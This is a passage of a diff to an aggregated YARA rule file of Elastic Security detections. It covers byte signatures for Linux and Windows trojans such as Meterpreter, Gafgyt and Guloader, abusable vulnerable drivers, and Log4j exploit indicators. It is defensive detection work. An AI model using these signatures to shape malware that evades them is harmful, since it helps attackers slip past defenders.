-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Dropperl.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b303f241a2687dba8d7b4987b7a46b5569bd2272e2da3e0c5e597b342d4561b6"
-		logic_hash = "37bf7777e26e556f09b8cb0e7e3c8425226a6412c3bed0d95fdab7229b6f4815"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1367-L1385"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "77e18bb5479b644ba01d074057c9e2bd532717f6ab3bb88ad2b7497b85d2a5de"
+		logic_hash = "eb574468e9d371def0da74e6aba827272181399a84388a14ffb167ec6ebd40d1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ee233c875dd3879b4973953a1f2074cd77abf86382019eeb72da069e1fd03e1c"
+		fingerprint = "2b9b17dad296c0a58a7efa1fb3f71c62bf849f00deb978c1103ab8a480290024"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60209,28 +64304,28 @@ rule ELASTIC_Linux_Trojan_Dropperl_733C0330 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E8 A0 FB FF FF 83 7D DC 00 79 0A B8 ?? ?? 60 00 }
+		$a = { F8 48 8B 04 24 6A 18 48 F7 14 24 48 FF 04 24 48 03 24 24 48 8D 64 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Dropperl_39F4Cd0D : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_32A7Edd2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "39f4cd0d-4261-4d62-a527-f403edadbd0c"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "32a7edd2-175f-45b3-bf3d-8c842e4ae7e7"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Dropperl.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c08e1347877dc77ad73c1e017f928c69c8c78a0e3c16ac5455668d2ad22500f3"
-		logic_hash = "5b61f54604b110d2c8efaf1782a2e520baac96c6d3e8d1eda0877475c504bf89"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1387-L1405"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "79a75c8aa5aa0d1edef5965e1bcf8ba2f2a004a77833a74870b8377d7fde89cf"
+		logic_hash = "af26549c1cad0975735e2c233bc71e5e1b0e283d02552fdaea02656332ecd854"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e1cdd678a1f46a3c6d26d53dd96ba6c6a45f97e743765c534f644af7c6450f8e"
+		fingerprint = "d59183e8833272440a12b96de82866171f7ea0212cee0e2629c169fdde4da2a5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60238,27 +64333,28 @@ rule ELASTIC_Linux_Trojan_Dropperl_39F4Cd0D : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E8 ?? FA FF FF 83 7D D4 00 79 0A B8 ?? ?? 60 00 }
+		$a = { 75 FD 48 FD 45 FD 0F FD 00 FD FD 0F FD FD 02 00 00 48 FD 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Meterpreter_A82F5D21 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_D7F35B54 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Meterpreter (Linux.Trojan.Meterpreter)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "a82f5d21-3b01-4a05-a34a-6985c1f3b460"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "d7f35b54-82a8-4ef0-8c8c-30a6734223e1"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Meterpreter.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "d76886222de7292e8a76717f6d49452f52aaffb957bb0326bcfc7a35c3fdfc6a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1407-L1425"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "79a75c8aa5aa0d1edef5965e1bcf8ba2f2a004a77833a74870b8377d7fde89cf"
+		logic_hash = "d827e21c09b8dce65db293aa57b39f49f034537bb708471989ad64e653c479be"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b0adb928731dc489a615fa86e46cc19de05e251eef2e02eb02f478ed1ca01ec5"
+		fingerprint = "d01db0f6a169d82d921c76801738108a2f0ef4ef65ea2e104fb80188a3bb73b8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60266,28 +64362,28 @@ rule ELASTIC_Linux_Trojan_Meterpreter_A82F5D21 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F8 02 74 22 77 08 66 83 F8 01 74 20 EB 24 66 83 F8 03 74 0C 66 83 }
+		$a = { FD 48 FD 45 FD 48 FD FD FD FD FD FD FD FD FD 48 FD 45 FD 66 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Meterpreter_383C6708 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_F11E98Be : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Meterpreter (Linux.Trojan.Meterpreter)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "383c6708-0861-4089-93c3-4320bc1e7cfc"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "f11e98be-bf81-480e-b2d1-dcc748c6869d"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Meterpreter.yar#L20-L38"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d9d607f0bbc101f7f6dc0f16328bdd8f6ddb8ae83107b7eee34e1cc02072cb15"
-		logic_hash = "b0fd479722ab0808a4709cbacbb874282c48a425f4dbdaec9f74bc7f839c82e4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1427-L1445"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "79a75c8aa5aa0d1edef5965e1bcf8ba2f2a004a77833a74870b8377d7fde89cf"
+		logic_hash = "9b9122f0897610dff6b37446b3cecbfcec3dce8dc7e1934e78cc32d5f6ac9648"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6e9da04c91b5846b3b1109f9d907d9afa917fb7dfe9f77780e745d17b799b540"
+		fingerprint = "8cdf2acffd0cdce48ceaffa6682d2f505c557b873e4f418f4712dfa281a3095a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60295,27 +64391,28 @@ rule ELASTIC_Linux_Trojan_Meterpreter_383C6708 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 99 B6 10 48 89 D6 4D 31 C9 6A 22 41 5A B2 07 0F 05 48 96 48 }
+		$a = { FD 40 00 09 FD 21 FD FD 08 48 FD 80 3E 00 75 FD FD 4C 24 48 0F FD }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Meterpreter_621054Fe : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_8D4E4F4A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Meterpreter (Linux.Trojan.Meterpreter)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "621054fe-bbdf-445c-a503-ccba82b88243"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "8d4e4f4a-b3ea-4f93-ada2-2c88bb5d806d"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Meterpreter.yar#L40-L57"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "18f22bb0aa66ec2ecdaa9ca0e0d00ee59a2c9a3f231bd71915140e4464a4ea78"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1447-L1465"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "79a75c8aa5aa0d1edef5965e1bcf8ba2f2a004a77833a74870b8377d7fde89cf"
+		logic_hash = "11ee101a936f8e6949701e840ef48a0fe102099ea3b71c790b9a5128e5c59029"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "13cb03783b1d5f14cadfaa9b938646d5edb30ea83702991a81cc4ca82e4637dc"
+		fingerprint = "9601c7cf7f2b234bc30d00e1fc0217b5fa615c369e790f5ff9ca42bcd85aea12"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60323,27 +64420,28 @@ rule ELASTIC_Linux_Trojan_Meterpreter_621054Fe : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 28 85 D2 75 0A 8B 50 2C 83 C8 FF 85 D2 74 03 8B 42 64 5D C3 55 }
+		$a = { 50 00 FD FD 00 00 00 31 FD 48 FD FD 01 00 00 00 49 FD FD 04 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Meterpreter_1Bda891E : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mumblehard_523450Aa : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Meterpreter (Linux.Trojan.Meterpreter)"
+		description = "Detects Linux Trojan Mumblehard (Linux.Trojan.Mumblehard)"
 		author = "Elastic Security"
-		id = "1bda891e-a031-4254-9d0b-dc590023d436"
-		date = "2021-12-13"
-		modified = "2022-01-26"
+		id = "523450aa-6bb4-4863-9656-81a6e6cb7d88"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Meterpreter.yar#L59-L76"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "74e7547472117de20159f5b158cee0ccacc02a9aba5e5ad64a52c552c966d539"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mumblehard.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a637ea8f070e1edf2c9c81450e83934c177696171b24b4dff32dfb23cefa56d3"
+		logic_hash = "60b4cc388975ce030e03c5c3a48adcfeec25299105206909163f20100fbf45d8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fc3f5afb9b90bbf3b61f144f90b02ff712f60fbf62fb0c79c5eaa808627aa0a1"
+		fingerprint = "783f07e4f4625c061309af2d89e9ece0ba4a8ce21a7d93ce19cd32bcd6ad38e9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60351,210 +64449,318 @@ rule ELASTIC_Linux_Trojan_Meterpreter_1Bda891E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 11 62 08 F2 0F 5E D0 F2 0F 58 CB F2 0F 11 5A 10 F2 44 0F 5E C0 F2 0F }
+		$a = { 09 75 05 89 03 89 53 04 B8 02 00 00 00 50 80 F9 09 75 0B CD 80 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Guloader_8F10Fa66 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Sandra_5D112Feb : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Guloader (Windows.Trojan.Guloader)"
+		description = "Name: SANDRA, Version: 10.12.0.0"
 		author = "Elastic Security"
-		id = "8f10fa66-a24b-4cc2-b9e0-11be14aba9af"
-		date = "2021-08-17"
-		modified = "2021-10-04"
-		reference = "https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Guloader.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a3e2d5013b80cd2346e37460753eca4a4fec3a7941586cc26e049a463277562e"
-		logic_hash = "f2cd08f6a32c075dc0294a0e26c51e686babc54ced4faa1873368c8821f0bfef"
+		id = "5d112feb-dc0a-464c-9753-695bb510f5a8"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Sandra.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3a364a7a3f6c0f2f925a060e84fb18b16c118125165b5ea6c94363221dc1b6de"
+		logic_hash = "d234a1e74234400f51c2aa7a9fb1549be1bc422bdf585db7d2ec9ad1ec75e490"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		fingerprint = "13572e1155a5417549508952504b891f0e4f40cb6ff911bdda6f152c051c401c"
+		threat_name = "Windows.VulnDriver.Sandra"
+		severity = 50
+		arch_context = "x86"
+		scan_context = "file"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 53 00 41 00 4E 00 44 00 52 00 41 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x0c][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x09][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x0b][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+
+	condition:
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+}
+rule ELASTIC_Windows_Vulndriver_Sandra_612A7A16 : FILE
+{
+	meta:
+		description = "Name: sandra.sys, Version: 10.12.0.0"
+		author = "Elastic Security"
+		id = "612a7a16-b616-4a70-9994-cb5aebfa0ca9"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Sandra.yar#L23-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8fda0e1775d903b73836d4103f6e8b0e2f052026b3acdb07bd345b9ddb3c873a"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		fingerprint = "ead3bd8256fbb5d26c4a177298a5cdd14e5eeb73d9336999c0a68ece9efa2d55"
+		threat_name = "Windows.VulnDriver.Sandra"
+		severity = 50
+		arch_context = "x86"
+		scan_context = "file"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 73 00 61 00 6E 00 64 00 72 00 61 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x0c][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x09][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x0b][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+
+	condition:
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+}
+rule ELASTIC_Windows_Vulndriver_Fiddrv_E7875A5A : FILE
+{
+	meta:
+		description = "Detects Intel's R/W MSR driver (fiddrv64.sys)"
+		author = "Elastic Security"
+		id = "e7875a5a-5a88-4bc3-9cfc-91b446dcc6aa"
+		date = "2023-07-25"
+		modified = "2023-07-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Vulndriver_FidDrv.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4bf4cced4209c73aa37a9e2bf9ff27d458d8d7201eefa6f6ad4849ee276ad158"
+		logic_hash = "aa1635c651c8364ad2ee93b369dd583fce699001d753e46de013c476d185eef1"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		fingerprint = "ed9ef63a9e2434a30f22f679edb99b9104eb4397968d84599c7828102312025e"
+		threat_name = "Windows.VulnDriver.FidDrv"
+		severity = 50
+		arch_context = "x86"
+		scan_context = "file"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$subject = { 06 03 55 04 03 [2] 49 6E 74 65 6C 28 52 29 20 50 72 6F 63 65 73 73 6F 72 20 49 64 65 6E 74 69 66 69 63 61 74 69 6F 6E 20 55 74 69 6C 69 74 79 }
+		$read_msr = { 53 55 57 56 52 41 50 0F 32 41 58 41 89 10 5A 89 02 B8 01 00 00 00 5E 5F 5D 5B C3 }
+		$write_msr = { 53 55 57 56 48 8B C2 49 8B D0 0F 30 B8 01 00 00 00 5E 5F 5D 5B C3 }
+		$ioctl_check = { 48 8B 82 B8 00 00 00 8B 48 18 81 E9 84 2A 22 00 0F 84 ?? ?? ?? ?? 83 E9 04 }
+
+	condition:
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and all of them
+}
+rule ELASTIC_Macos_Exploit_Log4J_75A13888 : FILE MEMORY
+{
+	meta:
+		description = "Detects Macos Exploit Log4J (MacOS.Exploit.Log4j)"
+		author = "Elastic Security"
+		id = "75a13888-7650-4ef3-adec-15378c8479bd"
+		date = "2021-12-13"
+		modified = "2022-07-22"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Exploit_Log4j.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "b09d8dd9c422e7eb8aa23f8b1204d31fd290252925099300d6d19d73e562ca5e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5841d70a38d4620c446427c80ca12b5e918f23e90c5288854943b0240958bcfb"
+		fingerprint = "cd06db6f5bebf0412d056017259b5451184d5ba5b2976efd18fa8f96dba6a159"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "msvbvm60.dll" wide fullword
-		$a2 = "C:\\Program Files\\qga\\qga.exe" ascii fullword
-		$a3 = "C:\\Program Files\\Qemu-ga\\qemu-ga.exe" ascii fullword
-		$a4 = "USERPROFILE=" wide fullword
-		$a5 = "Startup key" ascii fullword
+		$jndi1 = "jndi.ldap.LdapCtx.c_lookup"
+		$jndi2 = "logging.log4j.core.lookup.JndiLookup.lookup"
+		$jndi3 = "com.sun.jndi.url.ldap.ldapURLContext.lookup"
+		$exp1 = "Basic/Command/Base64/"
+		$exp2 = "java.lang.ClassCastException: Exploit"
+		$exp3 = "WEB-INF/classes/Exploit"
+		$exp4 = "Exploit.java"
 
 	condition:
-		all of them
+		2 of ($jndi*) and 1 of ($exp*)
 }
-rule ELASTIC_Windows_Trojan_Guloader_C4D9Dd33 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Gdrv_5368078B : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Guloader (Windows.Trojan.Guloader)"
+		description = "Name: gdrv.sys, Version: 5.2.3790.1830"
 		author = "Elastic Security"
-		id = "c4d9dd33-b7e7-4ff4-a2f3-62316d064f5a"
-		date = "2021-08-17"
-		modified = "2021-10-04"
-		reference = "https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Guloader.yar#L26-L45"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a3e2d5013b80cd2346e37460753eca4a4fec3a7941586cc26e049a463277562e"
-		logic_hash = "623ea751fc32648720bda40598024d4d5b6a9a11b3cce3c9427310ba17745643"
+		id = "5368078b-5dba-42c7-a50c-ac8859d3393d"
+		date = "2022-04-04"
+		modified = "2022-04-04"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_GDrv.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
+		logic_hash = "f4d43ac4a4b6d879ffb5ba637b38ec75c8b57f531db644015c1a71c2cdea45d5"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "53a2d6f895cdd1a6384a55756711d9d758b3b20dd0b87d62a89111fd1a20d1d6"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "ce6e81ee34ba47466684387bdb957c3018b9c06938dbb2f7eb830609bd085f66"
+		threat_name = "Windows.VulnDriver.GDrv"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "This program cannot be run under virtual environment or debugging software !" ascii fullword
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 67 00 64 00 72 00 76 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x02][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\x26][\x00-\x07]|[\x00-\xff][\x00-\x06])([\x00-\xce][\x00-\x0e]|[\x00-\xff][\x00-\x0d])|([\x00-\xff][\x00-\xff])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x02][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xcd][\x00-\x0e]|[\x00-\xff][\x00-\x0d]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Trojan_Guloader_2F1E44C8 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Lurker_0Ee51802 : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Guloader (Windows.Trojan.Guloader)"
+		description = "Detects Windows Trojan Lurker (Windows.Trojan.Lurker)"
 		author = "Elastic Security"
-		id = "2f1e44c8-f269-4cd6-a516-8d9282ddcfbc"
-		date = "2023-10-30"
-		modified = "2023-11-02"
-		reference = "https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Guloader.yar#L47-L70"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99"
-		logic_hash = "434b33c3fdc6bf4b0f59cd4aba66327d0b7ab524be603b256494d46b609cecd5"
+		id = "0ee51802-4ff3-4edf-95ed-bb0338ff25d9"
+		date = "2022-04-04"
+		modified = "2022-06-09"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Lurker.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5718fd4f807e29e48a8b6a6f4484426ba96c61ec8630dc78677686e0c9ba2b87"
+		logic_hash = "782926c927dce82b95e51634d5607c474937e1edc0f7f739acefa0f4c03aa753"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "b00255f8d7ce460ffc778e96f6101db753e8992d36ee75a25b48e32ac7817c58"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "c30bc4e25c1984268a3bb44c59081131d1e81254b94734f6af2b47969c0acd0e"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$djb2_str_compare = { 83 C0 08 83 3C 04 00 0F 84 [4] 39 14 04 75 }
-		$check_exception = { 8B 45 ?? 8B 00 38 EC 8B 58 ?? 84 FD 81 38 05 00 00 C0 }
-		$parse_mem = { 18 00 10 00 00 83 C0 18 50 83 E8 04 81 00 00 10 00 00 50 }
-		$hw_bp = { 39 48 0C 0F 85 [4] 39 48 10 0F 85 [4] 39 48 14 0F 85 [7] 39 48 18 }
-		$scan_protection = { 39 ?? 14 8B [5] 0F 84 }
+		$str1 = "\\Device\\ZHWLurker0410" wide fullword
 
 	condition:
-		2 of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Linux_Exploit_Enoket_79B52A4C : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharpwmi_A67D6Fe5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
+		description = "Detects Windows Hacktool Sharpwmi (Windows.Hacktool.SharpWMI)"
 		author = "Elastic Security"
-		id = "79b52a4c-80cd-4fe1-aa6c-463e2cdd64ac"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "a67d6fe5-3ce5-4e63-979e-3fb799d9d173"
+		date = "2022-10-20"
+		modified = "2022-11-24"
